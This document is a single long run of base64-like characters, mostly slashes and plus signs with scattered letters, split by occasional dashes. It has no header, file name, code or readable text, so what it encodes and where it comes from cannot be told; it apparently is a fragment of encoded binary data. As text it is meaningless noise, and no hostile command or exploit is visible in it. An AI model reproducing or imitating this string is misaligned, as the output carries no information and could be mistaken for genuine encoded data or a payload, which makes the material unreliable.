+q//p//H/+P0//5n/8P/6489+r/+xP/rL/sHf8U/SEzwF/2DzX/7D/93v8v/9r/SpP+Lf+Bf/wf+57/L - L6aVlJ+ilZv/6+3/+W/8gf/O3f/jd/y//pc/8H/+E//vf/D//q//wf/xb/zfT/7vf+AP/I//xv/9T/0H - /u9/8P/8L7/7b/+H5I/8O3/gP1b9yn/w3/8/f23KW/33v/j//qlf/d/+H9Uf+G/d/Z3/z7/gD/yX/uXf - 5ZffpYW7f/B/I635978Ar/wlv/+v+Dv/79+B+Pnv/99+///7//gPi1/1p5IN+dX/KeU2/sF/+B/9D/+3 - v/A7v/S//QP/y+p//8V/4H/yH/7ff/3/9S/+h1f/x3/9f/yBlLH9g//D/5OS5f/z7/J/Vf/XP/p//7f/ - 8//4K//H//N//WX/4X/05f/1O/6Bfz6F13/un/97/F9/5//9p/5ff/aXv/SvpVCdZOif+/L/+ltpfeLf - pdzwv/v7T+/+n3/8//Vv/f7kSv+j/2NN+uHzf/C/+F3+99/xd/6//thf8eUf+Kt/+b/5f1V/4D/7P1Nm - /f+8/MV/4O/5yz7+P87I2vz+v+/f/6v/1V/6r/+r/+F//ispYfPP/v7/5W/6xZ/7D/7X//u/+X/8i7/0 - D/0D/4e7v+o3ptQf+UL3/69/+b/8v/+h/+P3oF/+ov/67m/3f/9nv//P/K/V//0X/Il/4F/6D/4v/+b/ - Xv3S/+4v/NW0tvp7/Nd/7z/9H1S/4l/+G/+3v/Hv+L//lH/wb/77f/V/++f//c9/l7/8D/wv/8t/8L/4 - PX75X/hLKE35u/6D/0P1f/+Lv+//+Rf8Lv/3T/7r//R/SJ7Vb/9vl//7X//p//nH05Luf/sv/lu/+h// - B/+3/+TB//79/+uv/gf/6z/w/1j/g7/iX/9n/95/8J/+V+/+g7/6L9z+v/+K3+NXUWrxt/39/o+jv/Jv - /D1+1ed/4D/8B/7ff+5n7/7n//z3/9++d/Q3/in/4a/+Y//vv+envvi//sq/7ff+P//L//BX/8b/wLv/ - 6Xt/3z/17/6B/+fv8r//m//Xn/AHUlb+f/7P/8L/5X//8v/+F3/pX/vr/4n/17/21//fpBr+5v/7f/03 - /7df8X//a7//f/o3PvxVv///9Xf9/v/pxS/9L/6Hf/CX/7f/x//+f1P0/E/+X//y//2P/Wd/5X/wf/yW - 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 - /u//+n/9H/+vBSWs/oe/8//4m3//X/XH/tI//g/8v//B/+2XUR7j//oP/88Hv/T//gPJIfrV/9cf+L/+ - vT/zZ/wf/8w/+B//pmQK/8T/+2/47//v//1P/Jlf+r9e/AP/56/+v/7e/3v8f/74H/iX/oe/4j/8d37J - r/7kv/0D/5t/8H//G/8LCkn+t1/7//6Hfo9f+Z//hb/8v/0H/rfP/8A//7f9A//TP/SX/7G/x3/2H/wu - v+x/+RP/77f/4/998gf+1P/8X/6f/8M//7v837/L//G//R5/xv/xl/+D/9l/+h9e/l//5eL//uwv/L9/ - y3/wn/9v/8D/47v/13/xu9z9K//A//Iv/OW/+v/85B9M/8Jf8qs//h/+xf/7D/oHKSH1P/2R/+fv+A/+ - p0SDL//PP/of/JV/4/X/8d//j5QtoBWJ//X//if/wv/tv/2//+wvKX/zq//N7/8f/+U/ePEr3v4f/9pf - +D8d/p9/8R/4L/0e//N/+3/9s/n/+uv/H/n//d/f/T9/r//rL/pXf4//4n/8P8jI/MH/93/9u/wvv8f/ - +Tf+gb/iP/zfr/7Pv/L//n1+9f968UtP/9fD/+NP/b//N3KptinG/VV/wK/4E4/+7//5H/zfftP//e/9 - pX/l//3f/Lt/4D/zP/59v+Lv/b9/h//7//wbKQVEPvjf+w/+x3/ir/5j/8C/sPq/v/wH/9Pf43/6/P/+ - Ff/gP/0P/q//y90f0Az+J//3f/O7/Kr/7C/9/SlZX/2b//d/+fv/nzSP/9av+r/+xv/7k/+LAuir/3Px - 5V/4F/4Ff9/ZP/inH/3iX/Gf/7b/9V/yv//D/+Mf+D/9+f/H3/m/f/6b/F//1K/68//D/+bB7/d/nfwe - v+w3/b++/5f+jf/Of1b9n/f/wF/9V/6D/8U/SGH83/P7/31/3S/7T4kI/8fv+Ev/xN/l/6Ylpf/wf/0P - f/X/dvV/fe8P/GX/96/6F//vP/GX/st//u/xf/77v8cvv/o//xEy3v/X7/J///v/9y/7F//3//z//pX/ - 4f/19/5zv/I//Od+///r1/sD/4//+5f/qf/3v/03/qrf/w/8v/7e/yOn2PWX/b3/5z/9B/5L/83V/3nv - y3/ir73+3v/9N3y8PvwLaZHoP/4P/8/DP/nP+D/+xf/7L6Plwv/71/6//qDf47/+C//3P3X+B2f/6y/+ - PX57StX8j//j//ln/p//wP/9b/+pv8d/8nv86l/y+/8D/8e//0v/3f/9P/4Pf8V/8c//Hr/67/2//o5f - /B/+X//rP/jLP/4//4Y/8Ff+hb/8//hVtHTyf/8D/+A//R/+n7/4//rul//3H08y9Xv8il/+J/6f/+H/ - 9ff8tn/gf/W7/K9/4V/wf/w5/+B/+Df+76//r3/mV/+B/+R/SKm7t7/sP/wffv8/53/89/7Pr/7Af+bf - /wOX/9cv/wv/nH/wV/2T/0X1f//3v/+v+Cv/uf/rL77+1f/j//Vr/4H/0n/wP/7q//4P/F/+wh/8n1/+ - H7/5r//r/4GUbfqrf4//43/+H/+X/+Jf/FV//h/z+/+PV//7v0BLpr/0r/89ygtKDZ79g//xv/B//Y2/ - 6j8kMvwjf+Df8X//l//n0R9Ipumv/Qv/77/3H/xvSTt8///6e//B//EPfPSr/42/8H//L35/Itu//Df+ - qteUoPyV03/wH//9/8/v/Z+P/sH/4B/8P8v/9up/+2v/wP/i4z/wP/43aEH5//zJP/BX/1d/4v/1Z/5f - f9l/uPrlv+n/8Z/9HvX/9oBikP/h7v/17//S//FX/RvV7/1//Or/+1f8if/9//FX/qX/4I//n//uH/jf - /Zn/x1/9X3/5f7/4v//N//CSrN/v93//a3/hr/6n/97/+3+++tX/6b/6e/yKf/5vpKn4cz7+B//X3+X/ - /r1+6X//D/4vf+f/9uP/w4vf5P/6Jx/8g//uv0BiQL7tl//h3/+L/5e3f9//9g9SwPLf/i6/3f/5XULs - f6H03Z/9H/4nf+H/uf1//11/4PRXH/7f//Pf//v/p//h//ZL/u//9f/+VbSk+pv+qr/+//pTz/6XP/L/ - +on/+z+pfr//+2/4B/+Hv/H//vX/r//rD/zXq1/57/6f/8Y/+3v8V7+q+hX/9B/4y//O//sP/wP/z9/j - l3/vtyHv61f++v/nv/0n0oJg+1/+nb/4f/uv/+3/7e7f+3/9xv/3P/Af/lcP/vd/lmLz/+3L//03Prqm - lfN/9J//Pf62//Pv/T/+ayLNP/jl//nr/x//7j/4i//33/T/+vQf/Cf+x//5d6S17X/k9/jf/sj/87/5 - W/9DiqT/7N/jV1S/+H/9b/+Pz/7A/+X3/+X/4f/x+1Eg/L//57/H//rv/4G/4u6v+iN/j1+88+joV//O - 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 - 908s/vbf9//6Tf7B/+qf/l3+t1/98f/9T1Z/+//95z7/D/+B//0vHf8DFET8Nn/if/uf/csf/4H/xB/4 - v/6O//eLf/rv/1/+wcP/+1f8gb/sj/w9aO3/7/1nae3kQfHLKDo4XP6Bf+cf+F8e/oH/9Zdf/pf/9z/3 - b//P//fBZ//3X/0H/lfV//Gff/wP/tP/6P/9Ky4o+fSf/p3/xz//S//O3+N/ufpr/u+/7M//B//TX/l/ - /pH/11/6D/5H/yA5YH/HH/g//Jv/27/7F/7ff+g/+B/8Hv/nP/l//9n/4L9Q/S+//+9HOcL//i/9Pf6r - f7j6Fd/7P/7u//uf+N8e/O+Lf+BX/pH/9/Yf+L/+of/gr/rvq//z7/w/fv//+9/6H/+nf/Bnfvnbv+If - /J9+0//9N/4T/69/nHJu/+Ev/ze//3/9ZPVL/3HKnP2J/9dP/P7/x0/937+y+t9/2/+z+Af/h+qX/52/ - 5H/8A/+P/+4P/D9/7f/r7/gH//P/8f/8tX/pP/uv/4X/17/4f/7l/+B/8Pv/33/l7/d//ht/4h/4z/8n - /+Pv9Hv83//p//W//IeUX/hTL/+v//n3/7P+rz/69/iJ//PXpFDuV/2tv/Tv//1/2Z/4v/26d//A//IP - /G/+xqP/+9f+Tf+v//r3+G8e/Mz/+qv/j5N/8D/6v5f/13//u/wff++f+H//21/+33/rH/jfzP/v/+of - J2fjV/4fV3/gv/970LrrD/5A6vHLX/ozF59c/7I/9//6Z/9BCnr+7f/xf/5vKej52/73f/f/+lP+2H/w - f/pj/+//eO///Bv/77/s9/gfftv/+96v/w/+B3/h//ar/8+//K/8v/+73+WXv/0//5P/7sH/9i/8j7/8 - N/2/d//vf+FP/f1p1ecP/Qf/67/wX8NSSvU//fK/tP6/f///65//G/+Brd+f9Ns//xf+r5//n3/m//1f - /Y9/x73/65//pf/Hl//7f/hL/5vf9P/+H//vf/IP/CX/42/69/zfv+rv/z1+1Z/4f9z/A//KL/+vf/If - LP/PP/YffPCr/sh/5ff4X/6bu7/j//3b/IuwKX/h//bH/9I//vf472ht9ff7/f/Pf+zuv/hL/83/8H// - bf/vf/sf/B/+Qco//al/4D/5F/7yv/f/+t7//cv/wv/lN/wP/o/jf/Bf+D3+p//x//jv/8H/4eoP/BP/ - 9f/7//zFlNv8v//i//CX/YH/x6//S//7//D/+pX/3v/1/V9KgfY//3v872//jz/yH/x9KH/+Ka0j/p2/ - +pM/8D/8Pf6Pq//zf6t+1Y//33/yH/jfYL30r/w9/ru/8Vf/if/tP/0n/p8/+PV/JWXZ/rMr0s//1v/4 - v/2v/yCpwv/jP/0P/7vf43/7N8e/9L/+P2mJ4lfTqsV//wf+96RLF//B//Gv/Zd3f+nf+bf+3//zv/l/ - /6/V//xPUjj3B/6v/+Ov+vX/uzHlUP6vP+H3/y9/l1/12f/1V/2B/zWt0fyFv5J45ur//l//wf/0yz/n - t/kHf/Xd/+Pzv/Uf/K9+0//zD/0f/+9fTGvLRNFnpM7/nl/xe/zfz/7B//Iv/J/+T8ow/d9/+1/4f/zb - //3v8ej/nv7ff+N/+Mv/x//jV/wLZGh+6f/1b/+Nf+f/9X/9hb/8b/wl1f4PfsU/SDr0X/j9f8Xb8//7 - X/kf//cv/68/5B/8T37T/+0X/9//9v/9v/7Pv8vf83eSpvit/8F/tfoVv/z3/z//8f978r8c/nf/xy/5 - v3/x//qL/6/Df/CX/YX/05f/17/6f/8rfyf5wv/bn/tLWhLeP+b3+OX/1/9Iwfj/+af+gf/bP/i//I5/ - +R/4v/3+/+t/+3//5d/7A/+tf7j63//n//VX/rJf/pv+7//gH/gv/qH/4X//X/3KX/3n/4H/+r/wz378 - B/6T1f/6T/5fv+Uf+J1f9e//g/939X989Q/+47/Lr/rFv2D0f/8Nf+B//eD6V333s//tr/+//vbf43/7 - Pf73v/5/+D9+8R/4j/3ff9+//3+d/IdH/9vv+H//b//hf/Tb/gO0IPgX/B6klO7/X//2H/jL/8f//Rf/ - 3//1//0f/7bnv+o/rf7vv+cf/J9+j//rxa/4b0k0/6nqf/sHf+a//P3/j//w//6z/9r/8Jf/hf/XP/9/ - /Uf/8v/4y37b//O//6//wH/t//ov/u9/5v/+v/77P/A/+zf/xv/7j6ZlkV91QevAv/rv/D+u/q9/+vf/ - L69ovf+//AP/hwe/+jf8peSi3j36P3+v/+Af+Hv/93/xL/g//5n/8f88phzhr/p3/48vv/sP/rI/8Cty - Tv+F33/9R/4h/+r//d/95//t7//fUvjxvf978Q9u/YX/x+/8B/5Dv8f/9u/+0v/yb/y///7/62/+B/+v - 